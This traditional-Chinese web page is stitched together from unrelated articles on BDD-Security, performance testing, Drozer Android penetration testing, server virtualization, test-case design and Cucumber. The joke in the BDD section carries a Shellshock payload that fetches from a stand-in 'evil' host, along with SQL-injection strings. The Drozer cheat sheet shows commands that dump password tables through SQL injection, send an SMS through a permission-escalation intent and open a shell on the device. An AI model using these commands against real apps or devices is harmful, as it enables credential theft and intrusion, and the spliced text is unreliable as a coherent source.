2014年12月28日
ContinuumSecurity創始人Stephen de Vries,在Velocity Europe 2014大會上提出了持續且可視化的
安全測試 的觀點。Stephen表示,那些在
敏捷 開發過程中用于將QA嵌入整個開發流程的方法和工具都能同樣的用于安全測試。BDD-Security是一個基于JBehave,且遵循Given-When-Then方法的安全測試框架。
傳統的安全測試都遵循瀑布流程,也就是說安全團隊總是在開發階段的末期才參與進來,并且通常需要外部專家的幫助。在整個開發流程中,滲透測試總是被安排到很晚才做,使得為應用做安全防范的任務尤其困難且復雜。Stephen認為安全測試完全可以變得像QA一樣:每個人都對安全問題負責;安全問題可以在更接近代碼的層面考慮;安全測試完全可以嵌入一個持續集成的開發過程中。
為了論證QA和安全測試只有量的區別而沒有質的區別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發布的推特:
從QA的角度:
QA工程師走進一家酒吧,點了一杯啤酒;點了0杯啤酒;點了999999999杯啤酒;點了一只蜥蜴;點了-1杯啤酒;點了一個sfdeljknesv。
從安全的角度:
滲透測試工程師走進一家酒吧,點了一杯啤酒;點了”>杯啤酒;點了’or 1=1-杯啤酒;點了() { :; }; wget -O /beers http://evil; /杯啤酒。 要將安全測試集成進敏捷開發流程中,首先需要滿足的條件是:可見性,以便采取及時應對措施并修補;可測試性,以便于自動化,比僅僅簡單的掃描更有價值。Stephen發現BDD工具族就同時滿足了可見性及可測試性,因此他開始著手構建BDD-Security安全測試框架。
由于BDD-Security是基于JBehave構建的,因此它使用BDD的標準說明語言Gherkin。一個BDD-Security測試場景如下:
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著:
本框架的架構設計使得安全用例故事與應用的特定導航邏輯相互獨立,這意味著同一個用戶故事僅需要做微小的改動就能用在多個應用中,有時甚至無需修改。
這也說明BDD-Security框架認為對許多應用來說,有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應用——也就是導航邏輯中即可。當然,必要的時候你也完全可以編寫自己的用戶故事。
BDD-Security依賴于第三方安全測試工具來執行具體的安全相關的行為,例如應用掃描。這些工具有OWASP ZAP或Nessus等。
Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語言是
Ruby 。Mittn用
Python 編寫并且同樣也使用Gherkin。
隨著瀏覽器功能的不斷完善,用戶量不斷的攀升,涉及到
web 服務的功能在不斷的增加,對于我們
測試 來說,我們不僅要保證服務端功能的正確性,也要驗證服務端程序的性能是否符合要求。那么
性能測試 都要做些什么呢?我們該怎樣進行性能測試呢?
性能測試一般會圍繞以下這些問題而進行:
1. 什么情況下需要做性能測試?
2. 什么時候做性能測試?
3. 做性能測試需要準備哪些內容?
4. 什么樣的性能指標是符合要求的?
5. 性能測試需要收集的數據有哪些?
6. 怎樣收集這些數據?
7. 如何分析收集到的數據?
8. 如何給出性能測試報告?
性能測試的執行過程及要做的事兒主要包含以下內容:
1. 測試評估階段
在這個階段,我們要評估被測的產品是否要進行性能測試,并且對目前的服務器環境進行粗估,服務的性能是否滿足條件。
首先要明確只要涉及到準備上線的服務端產品,就需要進行性能測試。其次如果產品需求中明確提到了性能指標,那也必須要做性能測試。
測試人員在進行性能測試前,需要根據當前的收集到的各種信息,預先做性能的評估,收集的內容主要包括帶寬、請求包大小、并發用戶數和當前web服務的帶寬等
2. 測試準備階段
在這個階段,我們要了解以下內容:
a. 服務器的架構是什么樣的,例如:web服務器是什么?是如何配置的?
數據庫 用的是什么?服務用的是什么語言編寫的?;
b. 服務端功能的內部邏輯實現;
c. 服務端與數據庫是如何交互的,例如:數據庫的表結構是什么樣的?服務端功能是怎樣操作數據庫的?
d. 服務端與客戶端之間是如何進行交互的,即接口定義;
通過收集以上信息,測試人員整理出服務器端各模塊之間的交互圖,客戶端與服務端之間的交互圖以及服務端內部功能邏輯實現的流程圖。
e. 該服務上線后的用戶量預估是多少,如果無法評估出用戶量,那么可以通過設計測試執行的場景得出這個值;
f. 上線要部署到多少臺機器上,每臺機器的負載均衡是如何設計的,每臺機器的配置什么樣的,網絡環境是什么樣的。
g. 了解測試環境與線上環境的不同,例如網絡環境、硬件配置等
h. 制定測試執行的策略,是需要驗證需求中的指標能否達到,還是評估系統的最大處理能力。
i. 溝通上線的指標
通過收集以上信息,確定性能
測試用例 該如何設計,如何設計性能測試用例執行的場景,以及上線指標的評估。
3. 測試設計階段
根據測試人員通過之前整理的交互圖和流程圖,設計相應的性能測試用例。性能測試用例主要分為預期目標用戶測試,用戶并發測試,疲勞強度與大數量測試,網絡性能測試,服務器性能測試,具體編寫的測試用例要更具實際情況進行裁減。
用例編寫的步驟大致分為:
a. 通過腳本模擬單一用戶是如何使用這個web服務的。這里模擬的可以是用戶使用web服務的某一個動作或某幾個動作,某一個功能或幾個功能,也可以是使用web服務的整個過程。
b. 根據客戶端的實際情況和服務器端的策略,通過將腳本中可變的數據進行參數化,來模擬多個用戶的操作。
c. 驗證參數化后腳本功能的正確性。
d. 添加檢查點
e. 設計腳本執行的策略,如每個功能的執行次數,各個功能的執行順序等
4. 測試執行階段
根據客戶端的產品行為設計web服務的測試執行場景及測試執行的過程,即測試執行期間發生的事兒。通過監控程序收集web服務的性能數據和web服務所在系統的性能數據。
在測試執行過程中,還要不斷的關注以下內容:
a. web服務的連接速度如何?
b. 每秒的點擊數如何?
c. Web服務能允許多少個用戶同時在線?
d. 如果超過了這個數量,會出現什么現象?
e. Web服務能否處理大量用戶對同一個頁面的請求?
f. 如果web服務崩潰,是否會自動恢復?
g. 系統能否同一時間響應大量用戶的請求?
h. 打壓機的系統負載狀態。
5. 測試分析階段
將收集到的數據制成圖表,查看各指標的性能變化曲線,結合之前確定的上線指標,對各項數據進行分析,已確定是否繼續對web服務進行測試,結果是否達到了期望值。
6. 測試驗證階段
在開發針對發現的性能問題進行修復后,要再執行性能測試的用例對問題進行驗證。這里需要關注的是開發在解決問題的同時可能無意中修改了某些功能,所以在驗證性能的同時,也要關注原有功能是否受到了影響
一、安裝與啟動
1. 安裝
第一步:從http://mwr.to/drozer下載Drozer (
Windows Installer)
adb install agent.apk
2. 啟動
第一步:在PC上使用adb進行端口轉發,轉發到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步:在Android設備上開啟Drozer Agent
選擇embedded server-enable
第三步:在PC上開啟Drozer console
drozer console connect
1.獲取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.獲取應用的基本信息
run app.package.info -a com.mwr.example.sieve
3.確定攻擊面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
(1)獲取activity信息
run app.activity.info -a com.mwr.example.sieve
(2)啟動activity
run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
[--mimetype MIMETYPE]
5.Content Provider
(1)獲取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(數據泄露)
先獲取所有可以訪問的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
獲取各個Uri的數據:
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到數據說明存在漏洞
(3)Content Providers(
SQL 注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
報錯則說明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
獲取某個表(如Key)中的數據:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同時檢測SQL注入和目錄遍歷
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6 intent組件觸發(拒絕服務、權限提升)
利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。
1.查看暴露的廣播組件信息:
run app.broadcast.info -a com.package.name 獲取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):
run app.broadcast.send 通過intent發送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 ReceiverName
run app.broadcast.send --component 包名 ReceiverName
(2) 空extras
run app.broadcast.send --action android.intent.action.XXX
3.嘗試權限提升
權限提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關,所以基 于intent的權限提升更多針對broadcast receiver和service。與drozer相關的權限提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,采用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令:
(1)獲取service詳情
run app.service.info -a com.mwr.example.sieve
不使用drozer啟動service
am startservice –n 包名/service名
(2)權限提升
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.文件操作
列出指定文件路徑里全局可寫/可讀的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模塊
shell.start 在設備上開啟一個交互shell
tools.file.upload / tools.file.download 上傳/下載文件到設備
tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件
關于服務器虛擬化的概念,業界有不同的定義,但其核心是一致的,即它是一種方法,能夠在整合多個應用服務的同時,通過區分應用服務的優先次序將服務器資源分配給最需要它們的
工作 負載來簡化管理和提高效率。
其主要功能包括以下四個方面: 集成整合功能。虛擬化服務器主要是由物理服務器和虛擬化程序構成的,通過把一臺物理服務器劃分為多個虛擬機,或者把若干個分散的物理服務器虛擬為一個整體邏輯服務器,從而將多個
操作系統 和應用服務整合到強大的虛擬化架構上。
動態遷移功能。這里所說的動態遷移主要是指V2V(虛擬機到虛擬機的遷移)技術。具體來講,當某一個服務器因故障停機時,其承載的虛擬機可以自動切換到另一臺虛擬服務器,而在整個過程中應用服務不會中斷,實現系統零宕機在線遷移。
資源分配功能。虛擬化架構技術中引入了動態資源調度技術,系統將所有虛擬服務器作為一個整體資源統一進行管理,并按實際需求自動進行動態資源調配,在保證系統穩定運行的前提下,實現資源利用最大化。
強大的管理控制界面。通過可視化界面實時監控物理服務器以及各虛擬機的運行情況,實現對全部虛擬資源的管理、維護及部署等操作。
服務器虛擬化的益處
采用服務器虛擬化技術的益處主要表現在以下幾個方面。
節省采購費用。通過虛擬化技術對應用服務器進行整合,可以大幅縮減企業在采購環節的開支,在硬件環節可以為企業節省34%~80%的采購成本。
同時,還可以節省軟件采購費用。軟件許可成本是企業不可忽視的重要支出。而隨著
微軟 、紅帽等軟件巨頭的加入,虛擬化架構技術在軟件成本上的優勢也逐漸得以體現。
降低系統運行維護成本。由于虛擬化在整合服務器的同時采用了更為出色的管理工具,減少了管理維護人員在網絡、線路、軟硬件維護方面的工作量,信息部門得以從傳統的維護管理工作中解放出來,將更多的時間和精力用于推動創新工作和業務增長等活動,這也為企業帶來了利益。
通過虛擬化技術可以減少物理服務器的數量,這就意味著企業機房耗電量、散熱量的降低,同時還為企業節省了空調、機房配套設備的改造升級費用。
提高資源利用率。保障業務系統的快速部署是信息化工作的一項重要指標,而傳統模式中服務器的采購安裝周期較長,一定程度上限制了系統部署效率。利用虛擬化技術,可以快速搭建虛擬系統平臺,大幅縮減部署籌備時間,提高工作效率。
由于虛擬化服務器具有動態資源分配功能,因此當一臺虛擬機的應用負載趨于飽和時,系統會根據之前定義的分配規則自動進行資源調配。根據大部分虛擬化技術廠商提供的數據指標來看,通過虛擬化整合服務器后,資源平均利用率可以從5%~15%提高到60%~80%。
提高系統的安全性。傳統服務器硬件維護通常需要數天的籌備期和數小時的維護窗口期。而在虛擬化架構技術環境下,服務器遷移只需要幾秒鐘的時間。由于遷移過程中服務沒有中斷,管理員無須申請系統停機,在降低管理維護工作量的同時,提高系統運行連續性。
目前虛擬化主流技術廠商均在其虛擬化平臺中引入數據快照以及虛擬存儲等安全機制,因此在數據安全等級和系統容災能力方面,較原有單機運行模式有了較大提高。 目前 我司正在應用aws 確實很不錯,節省成本 服務穩定,比什么阿里云 強了不知道多少倍
1.測試用例 :分有基本流和備選流。
2.要先確定測試 用例 描述,再在測試用例 實施矩陣中確定相應的測試用例數據。 3.從補充規約中生成測試用例
(2)為安全性/訪問控制測試生成測試用例
關鍵:先指定執行用例的主角
(3)為配置測試生成測試用例
主要是為了核實測試目標在不同的配置情況下(如不同的OS,Browser,CPU速度等)是否能正常 地
工作 或執行。
針對第個關鍵配置,每個可能有問題的配置都至少應該有一個測試用例。
(4)為安裝測試生成測試用例
a.需要對以下各種安裝情況設計測試用例:
分發介質(如磁盤,CD-ROM和文件服務器)
首次安裝
完全安裝
自定義安裝
升級安裝
b.測試目標應包括所有構件的安裝
客戶機,中間層,服務器
(5)為其他非功能性測試生成測試用例
如操作測試,對性能瓶頸,系統容量或測試目標的強度承受能力進行調查的測試用例
5.為產品驗收測試生成測試用例
6.為回歸測試編制測試用例
a.回歸測試是比較同一測試目標的兩個版本或版本,并將將差異確定為潛在的缺陷。
b.為使測試用例發揮回歸測試和復用的價值,同時將維護成本減至最低,應:
確保測試用例只確定關鍵的數據元素(創建/支持被測試的條件支持的測上試用例)
確保每個測試用例都說明或代表一個唯一的輸入集或事件序列,其結果是獨特的測試目標行為
消除多余或等效的測試用例
將具有相同的測試目標初始狀態和測試數據狀態的測試用例組合在一起
Cucumber是Ruby世界的BDD框架,開發人員主要與兩類文件打交到,Feature文件和相應的Step文件。Feature文件是以feature為后綴名的文件,以Given-When-Then的方式描述了系統的場景(scenarios)行為;Step文件為普通的Ruby文件,Feature文件中的每個Given/When/Then步驟在Step文件中都有對應的Ruby執行代碼,兩類文件通過正則表達式相關聯。筆者在用Cucumber+Watir做回歸測試時對Cucumber工程的目錄結構執行過程進行了研究。
安裝好Cucumber后,如果在終端直接執行cucumber命令,得到以下輸出:
輸出結果表明:cucumber期待當前目錄下存在名為features的子目錄。建好features文件夾后,重新執行cucumber命令,輸出如下:
Cucumber運行成功,但由于features文件夾下沒有任何內容,故得到上述輸出結果。
網上大多數關于Cucumber的教程都建議采用以下目錄結構,所有的文件(夾)都位于features文件夾下。
Feature文件(如test.feature)直接位于features文件夾下,可以為每個應用場景創建一個Feature文件;與Feature文件對應的Step文件(如test.rb)位于step_definitions子文件夾下;同時,存在support子文件夾,其下的env.rb文件為環境配置文件。在這樣的目錄結構條件下執行cucumber命令,會首先執行env.rb做前期準備工作,比如可以用Watir新建瀏覽器窗口,然后Cucumber將test.rb文件讀入內存,最后執行test.feature文件,當遇到Given/When/Then步驟時,Cucumber將在test.rb中搜索是否有相應的step,如果有,則執行相應的Ruby代碼。
這樣的目錄結構只是推薦的目錄結構,筆者通過反復的試驗得出了以下結論:對于Cucumber而言,除了頂層的features文件夾是強制性的之外,其它目錄結構都不是強制性的,Cucumber將對features文件夾下的所有內容進行扁平化(flatten)處理和首字母排序。具體來說,Cucumber在運行時,首先將遞歸的執行features文件夾下的所有Ruby文件(其中則包括Step文件),然后通過相同的方式執行Feature文件。但是,如果features文件夾下存在support子文件夾,并且support下有名為env.rb的文件,Cucumber將首先執行該文件,然后執行support下的其它文件,再遞歸執行featues下的其它文件。
比如有如下Cucumber目錄結構:
為了方便記錄Cucumber運行時的文件執行順序,在features文件夾下的所有Ruby文件中加上以下代碼:
puts File.basename(__FILE__)
此行代碼的作用是在一個Ruby文件執行時輸出該文件的名字,此時執行cucumber命令,得到以下輸出(部分)結果:
上圖即為Ruby文件的執行順序,可以看出,support文件夾下env.rb文件首先被執行,其次按照字母排序執行c.rb和d.rb;接下來,Cucumber將features文件夾下的所用文件(夾)扁平化,并按字母順序排序,從而先執行a.rb和b.rb,而由于other文件夾排在step_definitions文件夾的前面,所以先執行other文件夾下的Ruby文件(也是按字母順序執行:先f.rb,然后g.rb),最后執行step_definitions下的e.rb。
當執行完所有Ruby文件后,Cucumber開始依次讀取Feature文件,執行順序也和前述一樣,即: a.feature --> b.feature --> c.feature
筆者還發現,這些Ruby文件甚至可以位于features文件夾之外的任何地方,只是需要在位于features文件夾之內的Ruby文件中require一下,比如在env.rb中。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters